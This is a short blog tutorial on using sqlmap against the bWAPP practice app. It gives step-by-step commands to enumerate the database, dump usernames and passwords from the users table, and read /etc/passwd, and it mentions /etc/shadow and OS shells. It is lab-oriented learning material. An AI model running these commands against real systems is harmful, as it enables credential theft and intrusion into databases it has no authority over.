Home Sql Injection With Sqlmap
Post
Cancel

Sql Injection With Sqlmap

Sql Injection With Sqlmap

Sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers.

Exploitation

Dumping User’s Data

sqli

There are different ways to use sqlmap, but in this case we will use sqlmap with http request file. To do that, we will intercept the http request in burpsuite and save it to a file, then execute sqlmap -r [httprequestfile] --current-db to retrieve our current database name.

sqli

sqli

sqli

As you can see we have got our current database as bwapp.

Since we got our database, we will proceed to retrieve the available tables in the database. We will execute sqlmap -r [httprequestfile] -D bwapp --tables, which means to retrieve a list of tables in database bwapp.

sqli

We got 4 tables from the database bwapp.

Our next target is to retrieve the available columns in a table. Given that we have 4 tables, we will take users table as it looks interesting to us. Our command will be sqlmap -r [httprequestfile] -D bwapp -T users --columns, which means to retrieve the columns from table users in bwapp database.

sqli

We got 9 columns from the table.

We are going to dump all the data from login and password columns by executing sqlmap -r [httprequestfile] -D bwapp -T users -C login,password --dump.

sqli

Great!, we got users’s credentials.

Reading File

We can read an internal file such as /etc/passwd, /etc/host, /etc/shadow ... using sqlmap. Let’s read /etc/passwd by executing sqlmap -r [httprequestfile] --file-read=/etc/passwd

sqli

sqli

As you can see , we downloaded /etc/passwd file of our target.

There are much to do with sqlmap such as getting os shell, writing file and so on… , have time to explore it.

References

This post is licensed under CC BY 4.0 by the author.